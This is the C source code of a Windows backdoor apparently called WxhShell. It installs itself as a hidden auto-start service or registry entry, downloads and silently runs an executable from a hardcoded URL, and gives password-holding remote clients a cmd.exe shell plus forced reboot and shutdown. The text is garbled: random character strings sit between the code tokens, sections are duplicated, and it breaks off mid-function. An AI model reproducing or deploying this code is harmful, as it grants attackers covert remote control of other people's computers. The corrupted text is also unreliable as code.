$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tfl4MDZb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UN}jpu<h <ctn_"p Z HANDLE hProcess; VJeN
m3WNb PROCESS_BASIC_INFORMATION pbi; RT)*H>| A@0%7xm HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @"#W\m8 if(NULL == hInst ) return 0; {^#62Y \ oIVE+L/P g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $Y4;Xe= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /IC7q?avQN NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &V&0kp@+ _KkLH\1g$ if (!NtQueryInformationProcess) return 0; dSb|hA}@ Kj_hCSvf3e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "oYyeT
,? if(!hProcess) return 0; e/m,PE >]k'3|vV if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Dw`Ur^ X5 %Y` @>P' CloseHandle(hProcess); & ;+u.X wNW9xmS hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Z+~G if(hProcess==NULL) return 0; _e=R[ ]cnLJ^2 HMODULE hMod; z1ltc{~Z char procName[255]; lV-7bZ unsigned long cbNeeded; ":*PC[)W m[C-/f^u| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~n84x +xwz.::: CloseHandle(hProcess); i=-zaboo 0!rU,74I= if(strstr(procName,"services")) return 1; // 以服务启动 -tSWYp{ s,Cm}4L6 return 0; // 注册表启动 . oUaq|O } Zg|z\VR %,GY&hTw // 主模块 ky#d` int StartWxhshell(LPSTR lpCmdLine) a4X J0Tm { )kl| 5i SOCKET wsl; Ay!=Yk^~ BOOL val=TRUE; x{C=r dp__ int port=0; j[yGfDb struct sockaddr_in door; \@Gyl_6^ k'wF+> if(wscfg.ws_autoins) Install(); 'z2}qJJ) _tL*sA>[~) port=atoi(lpCmdLine); -@G|i$! _n2PoE:5@P if(port<=0) port=wscfg.ws_port; gqJ&Q
t#f ~-Rr[O=E WSADATA data; *L/_ v if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MwL'
H< m~#S76!w if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cn=~}T@~Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <FMW%4 door.sin_family = AF_INET; &TSt/b/+W door.sin_addr.s_addr = inet_addr("127.0.0.1"); i)\`"&.j>N door.sin_port = htons(port); Y*3qH] \CB{Ut+s if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f!*b8ND^R
closesocket(wsl); ";9cYoKRY return 1; \*!?\Ko`W } LDW":k| {.z2n>1J{T if(listen(wsl,2) == INVALID_SOCKET) {
C+,;hj closesocket(wsl); )m"NO/sJ2 return 1; D*`|MzlQ } [Ym?"YwVX Wxhshell(wsl); >ALU}o/ WSACleanup(); oKz|hks[6 *(s+u~, I return 0; ;Mc\>i/ U#+S9jWe } HLAWx/c,j" jio1#& // 以NT服务方式启动 c&3
]%urL VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1a| q&L`o { u1ggLH!U DWORD status = 0; U{RW=sYB~9 DWORD specificError = 0xfffffff; 4/S4bk*8 Q4TI '/ serviceStatus.dwServiceType = SERVICE_WIN32; yVUA7IY serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,!|/|4vh serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AR]y p{NS serviceStatus.dwWin32ExitCode = 0; 4s^5t6 serviceStatus.dwServiceSpecificExitCode = 0; z;GnQfYG serviceStatus.dwCheckPoint = 0; S$+vRX7 serviceStatus.dwWaitHint = 0; nE+sbfC <O?iJ=$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mgL~ $ if (hServiceStatusHandle==0) return; =ILs[p ?a7PxD. status = GetLastError();
@~U: |h if (status!=NO_ERROR) nyi}~sB { |zKe*H/ serviceStatus.dwCurrentState = SERVICE_STOPPED; A$WE:<^ serviceStatus.dwCheckPoint = 0; rm;'/l8Y-E serviceStatus.dwWaitHint = 0; V2,54YE serviceStatus.dwWin32ExitCode = status; L|qQZ= serviceStatus.dwServiceSpecificExitCode = specificError; (8qMF{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nlx7"_R"Q return; UQaLhKv: } 'LpJ:Th sk\U[#ohH serviceStatus.dwCurrentState = SERVICE_RUNNING; Q`4= serviceStatus.dwCheckPoint = 0; VtUe$ft serviceStatus.dwWaitHint = 0; ;RflzY|D if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ';hU&D;s } f'0n^mSP VJDF/)X3$ // 处理NT服务事件,比如:启动、停止 cNtGjLpx; VOID WINAPI NTServiceHandler(DWORD fdwControl) C$vKRg\o { Sav]Kxq{ switch(fdwControl) -ZlBg~E { ]{{A/ j\ case SERVICE_CONTROL_STOP: y{,HpPp#o serviceStatus.dwWin32ExitCode = 0; 7cr@;%# serviceStatus.dwCurrentState = SERVICE_STOPPED; 9 JBPE serviceStatus.dwCheckPoint = 0; 8;ke,x serviceStatus.dwWaitHint = 0; dFS>uIT7X { /1F%w8Iqh SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 "?KQU } 'C8VD+p return; {E-.W"t4 case SERVICE_CONTROL_PAUSE: 4*}[h9J}\ serviceStatus.dwCurrentState = SERVICE_PAUSED; E0'+]"B break; NZ djS9 case SERVICE_CONTROL_CONTINUE: U&yXs'3a& serviceStatus.dwCurrentState = SERVICE_RUNNING; =dx!R ,Bw break; -=iGl5P? case SERVICE_CONTROL_INTERROGATE: CnSf GsE> break; j5,1`7\7B }; ']Gqa$(YC SetServiceStatus(hServiceStatusHandle, &serviceStatus); k{;"Aj:iL } bXF>{%(}E +~?ze,Di // 标准应用程序主函数 FRd!UqMXY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !O6e,l { P?p>'avP Qz\yoI8JA, // 获取操作系统版本 9] fhH OsIsNt=GetOsVer(); +%Q: GetModuleFileName(NULL,ExeFile,MAX_PATH); R''nZ/R &E0L7?l // 从命令行安装 d9>*a$x;/ if(strpbrk(lpCmdLine,"iI")) Install(); 3:@2gp!tq to,DN2rN // 下载执行文件 w`=_|4wFw if(wscfg.ws_downexe) { PtCO';9[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uPKq<hBI WinExec(wscfg.ws_filenam,SW_HIDE); JBfDz0P } i!+D
,O %a=K:" oU[ if(!OsIsNt) { ]Q,;5>#W // 如果时win9x,隐藏进程并且设置为注册表启动 bP\0S@1YL HideProc(); JTK>[|c9oE StartWxhshell(lpCmdLine); 7ksh%eV } 59mNb:< else ]x1MB|a6 if(StartFromService()) Z?X0:WK // 以服务方式启动 1{l18B` StartServiceCtrlDispatcher(DispatchTable); xxkUu6x# else D,q=?~ // 普通方式启动 ?PVJeFH StartWxhshell(lpCmdLine); ddvSi6 i{[=N9U5o return 0; )OQhtxK } U<,@u,_Ja M2HO!btf KiW4>@tY \Zc$X^}vN =========================================== , dT.q jJFWPD]u 8|^dM$ j_N><_Jc \{r-e r@N 0%JZZ " _svEPHU M
S
3?#b #include <stdio.h> r_C|gfIP #include <string.h> zRTR #include <windows.h>
aEUC #include <winsock2.h> V.zKjoky@ #include <winsvc.h> r=GF*i[3 #include <urlmon.h> iEx.BQ+ r@C2zF7 #pragma comment (lib, "Ws2_32.lib") gXr"],OM; #pragma comment (lib, "urlmon.lib") XMhDx 1'ne[@i^/ #define MAX_USER 100 // 最大客户端连接数 +|}R^x`z #define BUF_SOCK 200 // sock buffer ~\= VSwJ #define KEY_BUFF 255 // 输入 buffer 7sP;+G mF!/8qk #define REBOOT 0 // 重启 6k6M&a #define SHUTDOWN 1 // 关机 hZGoiWC $=dp) #define DEF_PORT 5000 // 监听端口 <p@c%e,_ rZRcy9$y> #define REG_LEN 16 // 注册表键长度 bqugo #define SVC_LEN 80 // NT服务名长度 D'V0b" 6o@}k9AN // 从dll定义API .C^1.) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #Mo`l/Cwp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ol ,;BZHc\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cBf9-k typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \PS{/XK _^4\z*x // wxhshell配置信息 >)ZX
struct WSCFG { U3r[ysf int ws_port; // 监听端口 !:e|M|T'I* char ws_passstr[REG_LEN]; // 口令 !_GY\@} int ws_autoins; // 安装标记, 1=yes 0=no K/RQ-xd4 char ws_regname[REG_LEN]; // 注册表键名 hW*2Le!I char ws_svcname[REG_LEN]; // 服务名 R'a%_sACj> char ws_svcdisp[SVC_LEN]; // 服务显示名 u2HkAPhD char ws_svcdesc[SVC_LEN]; // 服务描述信息 *]2LN$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FFXDt"i2 int ws_downexe; // 下载执行标记, 1=yes 0=no f.V;Hl, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a] :tn:q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &pwSd 8f>=.O*) }; }*Qd]\fy y e!Bfz> // default Wxhshell configuration g-'y_'%0G struct WSCFG wscfg={DEF_PORT, :0o
$qz2 "xuhuanlingzhe", A7U'>r_. 1, H"(:6
` "Wxhshell", d7N;Fa3yL "Wxhshell", 8?] :> "WxhShell Service", 3_=~7B)
8 "Wrsky Windows CmdShell Service", Z&8
7Aj "Please Input Your Password: ", r`u}n 1, 4mOw[}@A "http://www.wrsky.com/wxhshell.exe", j&E4|g ( "Wxhshell.exe" /H.QGPr }; PJj{5,#@3 E%eao$ // 消息定义模块 2rHw5Wn]~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }]vj"!?a char *msg_ws_prompt="\n\r? for help\n\r#>"; FD(zj ^* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w?ssV char *msg_ws_ext="\n\rExit."; b3b 4'l char *msg_ws_end="\n\rQuit."; 20m6-rkI<} char *msg_ws_boot="\n\rReboot..."; Fk D char *msg_ws_poff="\n\rShutdown..."; z.16%@R char *msg_ws_down="\n\rSave to "; _5a]pc$\Y] ';V(sRU@ char *msg_ws_err="\n\rErr!"; o^~6RZ char *msg_ws_ok="\n\rOK!"; b
qB[vPsI 4,9AoK)yp char ExeFile[MAX_PATH]; l^xkXj int nUser = 0; %Hv$PsSJ HANDLE handles[MAX_USER]; T\c;Ra int OsIsNt; FcIH<_r 5X&<+{bX SERVICE_STATUS serviceStatus; 'R_U,9y` SERVICE_STATUS_HANDLE hServiceStatusHandle; D{o1G?A iM2
EEC // 函数声明 /og}e~q int Install(void); t^?8Di\ int Uninstall(void); 1hZM)) int DownloadFile(char *sURL, SOCKET wsh); ~m!>e])P?X int Boot(int flag); /iif@5lw{ void HideProc(void); 2BH>TmS int GetOsVer(void); ]wne2 WXE int Wxhshell(SOCKET wsl); X1<)B]y void TalkWithClient(void *cs); .u7d int CmdShell(SOCKET sock); rQ}4\PTi
int StartFromService(void); B0p>' O2 int StartWxhshell(LPSTR lpCmdLine); _if&a' -Kg@Sj/U}R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yD1*^~ loJ VOID WINAPI NTServiceHandler( DWORD fdwControl ); e::5|6x u4VQx,, // 数据结构和表定义 lk.Q6saI1 SERVICE_TABLE_ENTRY DispatchTable[] = dMGu9k~u { 8e\a_R*(| {wscfg.ws_svcname, NTServiceMain}, BT>*xZLpS {NULL, NULL} ^'EEry }; @<vDR"> >o.u, // 自我安装 6$PfX.Fh int Install(void) lG#&Pv>- { |D]jdd@!a2 char svExeFile[MAX_PATH]; s+zb[3} HKEY key; c09]Cp< strcpy(svExeFile,ExeFile); 5mSXf"R^ !c6lP'U // 如果是win9x系统,修改注册表设为自启动 nr&G4t+%Hv if(!OsIsNt) { )Xd=EWGUS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !YJdi~q
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^|\ *i RegCloseKey(key); oPa2GW8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2gt08\
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *otJtEI>6 RegCloseKey(key); 0@AK return 0; yv3myaS } *3"C"4S } $Fr2oSTT) } ?-@hNrx else { [*}[W6
3v EXJ>Z // 如果是NT以上系统,安装为系统服务 4D58cR} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @.0jC=!l if (schSCManager!=0) uaU!V4- { g"T~)SQP SC_HANDLE schService = CreateService PI?-gc?[ ( a S<JsB schSCManager, k(^zhET wscfg.ws_svcname, *39sh[*} wscfg.ws_svcdisp, =HoiQWQs` SERVICE_ALL_ACCESS, a'T|p)N.;T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3tr?-l[N\ SERVICE_AUTO_START,
xY!]eLZ)& SERVICE_ERROR_NORMAL, V7lDuiAI svExeFile, )3..7ht3^5 NULL, E#HO0]S NULL, *f4KmiQ~% NULL, 'kh%^_FH7 NULL, L3<XWpv NULL Szg<;._J ); (j-(fS if (schService!=0) &UzZE17R { sWX CloseServiceHandle(schService); P%/+?(? CloseServiceHandle(schSCManager); Np/[MC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J| 'T2g strcat(svExeFile,wscfg.ws_svcname); z4f5@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Zt=8}di RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n:#ji|wM RegCloseKey(key); :\bttPw5 return 0; g:2/!tujL } ,$}Q#q } RuXK` ySv CloseServiceHandle(schSCManager); (>8fcQUBb } 3)3'-wu } KX9ZwsC0 ,U2D&{@ return 1; N7;E 2 X } 2#E;5UYu yGD0}\!n // 自我卸载 '.dW>7 int Uninstall(void) {K|{a { 9Q.j
< HKEY key; fe0 Y^vW ]3I_H+hU if(!OsIsNt) { tjTF?>^6| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Awr]@%I RegDeleteValue(key,wscfg.ws_regname); u#P7~9ZG- RegCloseKey(key); ;J5oO$H+68 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tl1?5 RegDeleteValue(key,wscfg.ws_regname); 'rF TtT
RegCloseKey(key); 1/fvk return 0; 4({=(O } +Rh'VZJs } @+2Zt% } u(~s$ENl else { :heJ5*!, jxoEOEA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); # / 4Wcz< if (schSCManager!=0) Jg Xbs+. { B#gmT2L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !*cf}<Kmw if (schService!=0) S_QDYnF)` { y>#j4%D~4 if(DeleteService(schService)!=0) { "ulaF+ CloseServiceHandle(schService); h\dIp`H CloseServiceHandle(schSCManager); YW'Y=* return 0; c49#aNR } /#
eBDo CloseServiceHandle(schService); 'Oc8[8 } NMDNls&)k CloseServiceHandle(schSCManager); k]JLk"K } Q\rqG } i3GvTg-X DTJ return 1; 6RF01z|~_ } 5 4OYAkPCk y#MLxm // 从指定url下载文件 oO|^ [b# int DownloadFile(char *sURL, SOCKET wsh) FFkG,XH { :vr,@1c HRESULT hr; ;e{2?}#8& char seps[]= "/"; U!'lc}5 char *token; $-y+97 char *file; i" )_M|
char myURL[MAX_PATH]; !Q#b4 f char myFILE[MAX_PATH]; 3xe8DD eS"gHldz strcpy(myURL,sURL); OBZ |W**N" token=strtok(myURL,seps); GGBe/X while(token!=NULL) =UV?Pi*M> { <|8l ; file=token; -Z Z$
1E token=strtok(NULL,seps); izKk@{Md } 7Y)wu$!7} 1_t Dp&UO GetCurrentDirectory(MAX_PATH,myFILE); 8iCIs=06 strcat(myFILE, "\\"); EK'&S=] strcat(myFILE, file); cU>&E*wD send(wsh,myFILE,strlen(myFILE),0); 9t[278B6 send(wsh,"...",3,0); \(CW?9) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y(R*Z^c}d, if(hr==S_OK) y"hM6JI return 0; gv,T<A?Z2 else q^cF D return 1; HB}gn2.1& yjO7/<2 } !$?@;}= +wSm6*j7= // 系统电源模块 L7g&]% int Boot(int flag) g-^m\>B { I Q L~I13 HANDLE hToken; -7$'* V9$ TOKEN_PRIVILEGES tkp; S3'g(+S ;?!rpj if(OsIsNt) { \,EPsQV0? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .g#=~{A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5:d2q<x:{ tkp.PrivilegeCount = 1; ]aRD6F:L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "{k
)nr+7U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HH#i.s2 if(flag==REBOOT) { ,OCTm%6e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mh|`XO.5I return 0; eh>E). } \.a .'l else { ~K96y$ DTE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @>@Nug2 return 0; DG\YZV4 } aTm.10{^ } eW)I}z+{ else { 'lk74qU$ if(flag==REBOOT) { 1.H!A@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xUpb1R return 0;
;"^9L } "T
u[n\8 else { } XU:DE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O`jA-t return 0; /&:9VMMj } m tQ{6u
} dO;vcgvb {l&2Kd* return 1; &n.uNe } =k=2~
j KdJx#Lc // win9x进程隐藏模块 8{fz0H.<? void HideProc(void) |Du13i4].& { ].P(/~FS9 QeJ.o.m{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SzlfA%4+GR if ( hKernel != NULL ) %Dls36F { +4g%?5' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nvK7*- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); So*Wk " FreeLibrary(hKernel); P&3/nL$9N } 'xZPIj+ fEG3b#t N return; nl9Cdi]o } >^f)|0dn)E 50GYL5)q // 获取操作系统版本 XQJ^)d00h int GetOsVer(void) $:E}Nj]{& { _#D\*0J OSVERSIONINFO winfo; B/D\gjb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qy^z *s GetVersionEx(&winfo); #G+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T[XP\!z]B! return 1; #O9*$eMw else h @,e`Z return 0; -iDEh_pts } ,J(5@8(>a >@^yj+k // 客户端句柄模块 #}!>iFBcH int Wxhshell(SOCKET wsl) q _] { 8yWu{'G SOCKET wsh; QPe9s[Y struct sockaddr_in client; Z0ncN]) DWORD myID; |pH*
CCA Wz-3?EQ while(nUser<MAX_USER) (' Ko#3b { ~1=.?Ho int nSize=sizeof(client); 14rVb2^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xZP >g if(wsh==INVALID_SOCKET) return 1; H ZDaV&)@ B)"#/@!bHH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ].-J. if(handles[nUser]==0) [-E{}FL| closesocket(wsh); (K*/Vp else 6MQs \ J6. nUser++; U1> } K$<`4#i WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M9Nk=s! 3 [+%d3+27 return 0; Txt%nzIu } X;OsH w>6"Sc7oc2 // 关闭 socket Zk/' \(5 void CloseIt(SOCKET wsh) ]_ejDN\>{V { =mKfFeO. closesocket(wsh); rnn2u+OG nUser--; g[EM]q, ExitThread(0); ~?AC: } M<{5pH(K &G-#*OG // 客户端请求句柄 G2CZwm{/f void TalkWithClient(void *cs) FJsK5- { dThR)Z'= ,7^d9v3t SOCKET wsh=(SOCKET)cs; ]aC':55( char pwd[SVC_LEN]; yu`KzIU char cmd[KEY_BUFF]; UAsF0&] char chr[1]; :DtZ8$I`]C int i,j; xSpMyXrQ KTG:I@|C while (nUser < MAX_USER) { @Jb@L '1W!xQ}E if(wscfg.ws_passstr) { ^>N8*=y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M82.khm~jM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N]1V1c$G* //ZeroMemory(pwd,KEY_BUFF); %`xV'2H i=0; 0+T*$=? while(i<SVC_LEN) { dT5J-70Fl BFBR/d[& // 设置超时 LP.HS'M~u fd_set FdRead; ![*:.CW struct timeval TimeOut; E2^ KK:4s FD_ZERO(&FdRead); c3=-Mq9Q FD_SET(wsh,&FdRead); i&'#+f4t TimeOut.tv_sec=8; )l`1)Ea~ TimeOut.tv_usec=0; Mw/?wtW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :PgF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VZ\O9lD PT3>E5`N u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ).pO2lLF4 pwd=chr[0]; >vUB%OLyP if(chr[0]==0xd || chr[0]==0xa) { %tT"`%(+ pwd=0; iV5}U2Vh break; *8z"^7?^= } L
;6b+I i++; ^#]c0 } s(Z(e % >BBl7 // 如果是非法用户,关闭 socket eymi2-a< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k/% #> } 7; p4Wg7k} F "!agc2! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "[k1D_PZ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {S G* +a|"{ while(1) { NwguP M|d={o9Hp ZeroMemory(cmd,KEY_BUFF); ! 0^;;' N1%p"( // 自动支持客户端 telnet标准 .Y;b)]@f j=0; _IWxYp
while(j<KEY_BUFF) { UEzsDJu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |pJC:woq cmd[j]=chr[0]; t#Th9G]1 if(chr[0]==0xa || chr[0]==0xd) { kBo;h.[l cmd[j]=0; zxkM'8JC break; e9&+vsRmA } Q
$]YD
pCM j++; ;J]25j]] } o]<jZ_|gB Mi]I:ka // 下载文件 k'Gw!p} if(strstr(cmd,"http://")) { ygN>"eP send(wsh,msg_ws_down,strlen(msg_ws_down),0); xRlYr# % if(DownloadFile(cmd,wsh))
g5i#YW send(wsh,msg_ws_err,strlen(msg_ws_err),0); |m)kN2w else ,9d9_c.T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [F+,YV%t } b0rX QMu else { " !-Kd'V !;v.>.lw
switch(cmd[0]) { e`iEy=W :Xfn@>;3ui // 帮助 zC=a3 case '?': { %D`o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lg4YED9# break; Ja|{1&J. } )#C
mQXgG // 安装 NLyXBV[hV case 'i': { O- #TZ if(Install()) BtsdeLj| send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ J1f.YE else dz-y}J11 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ys8Q.oBv_` break; &^!h}D%T/ } +&5'uAe // 卸载 \S4SI case 'r': { Xgat-cy'DA if(Uninstall()) I[d]!YI}F send(wsh,msg_ws_err,strlen(msg_ws_err),0); s_[VHPN else =lp1Z> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *jITOR!uF` break; Y3Oz'%B } `s"d]/85VW // 显示 wxhshell 所在路径 V5p0h~PK case 'p': { asVX82< char svExeFile[MAX_PATH]; },@``&e strcpy(svExeFile,"\n\r"); "& 25D strcat(svExeFile,ExeFile); QJGKQ2^ n send(wsh,svExeFile,strlen(svExeFile),0); )OP){/ break; [
MyE2^ } e,0-)?5R // 重启 $_Nf-:D* case 'b': { fjG&`m#" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =qu(~]2( if(Boot(REBOOT)) !*{q^IO9v& send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&0;4 else { -_N)E ))G closesocket(wsh); C! 9} ExitThread(0); zjl!9M! } *ZrSiIPP break; 4hs)b } G`0V)S // 关机 A8r^)QJP{ case 'd': { K.~q+IYP[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !l@zT}i?? if(Boot(SHUTDOWN)) 3gEMRy*+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); hz:pbes else { QzvHm1,@ closesocket(wsh); C[sh, ExitThread(0); EgjR^A1W2 } w_tJ7pz8T break; 88s/Q0l } Smw QET<H // 获取shell > L2HET case 's': { &7e)O= CmdShell(wsh); i1lBto[ closesocket(wsh); zP\7S}p7% ExitThread(0); 2,q}Nq break; $'rG-g!f\ } =q7Z qP // 退出 ').}N z case 'x': { ,f3pqi9| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Jq8?FoT CloseIt(wsh); ED>prE0 break; m0n)dje } F,BOgWwP // 离开 Rhc-q|Lz8 case 'q': { '7^M{y/dU
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^!<dgBNj closesocket(wsh); 8Me:Yp_Xt WSACleanup(); ^zzP. exit(1); JF&$t} break; }o4N<%/+ } EP'h@zdz } #'D"
'B } g- AHdYJ J]lrS // 提示信息 lGwl1,= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Un`^jw#_ } 7w,FX.=;cv } c0B|F c\B|KhDk return; |F,R&<2 } C2LL|jp* eAv4FA4g // shell模块句柄 ;<yd^Xs int CmdShell(SOCKET sock) *n"/a{6> { dm0QcW4 STARTUPINFO si; S5~VD?O, ZeroMemory(&si,sizeof(si)); t@u7RL*n:< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (" LQll9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]f+ csB PROCESS_INFORMATION ProcessInfo; Y<1QY?1sd char cmdline[]="cmd"; O"Ku1t! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j83p)ido return 0;
;};wq&b# } hxCvk/7sT U2uF&6v // 自身启动模式 O3TQixE int StartFromService(void) @u==x*{| { !vG'J\*xc typedef struct q _-7i { X[f=h=| DWORD ExitStatus; *OuStr \o DWORD PebBaseAddress; nX$XL=6mJ& DWORD AffinityMask; Fx-8M! DWORD BasePriority; /~ x"wo ULONG UniqueProcessId; (aD_zG=k5 ULONG InheritedFromUniqueProcessId; EwOV;>@T? } PROCESS_BASIC_INFORMATION; _.L4e^N&UO 3p0LN'q]A PROCNTQSIP NtQueryInformationProcess; k0T?-iM v|U(+O static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s
kg* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /yM:|`tT }Ho Qwy|& HANDLE hProcess; @}u9Rn*d; PROCESS_BASIC_INFORMATION pbi; _YF%V;X H^YSJ6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]c! ;L5 if(NULL == hInst ) return 0; <~ Sz04 jQ:OKh<Y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w8n|B?Sr g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N!g9*Z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m=YU2!Mb rF]h$Z8o if (!NtQueryInformationProcess) return 0; 0qX3v<+[6 D9z|VIw8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hiQha5 if(!hProcess) return 0; qAw x2fPu iezO9` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~R(%D-k R~Ne|V2 CloseHandle(hProcess); V{JAB]?^ 8QM(?A hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | 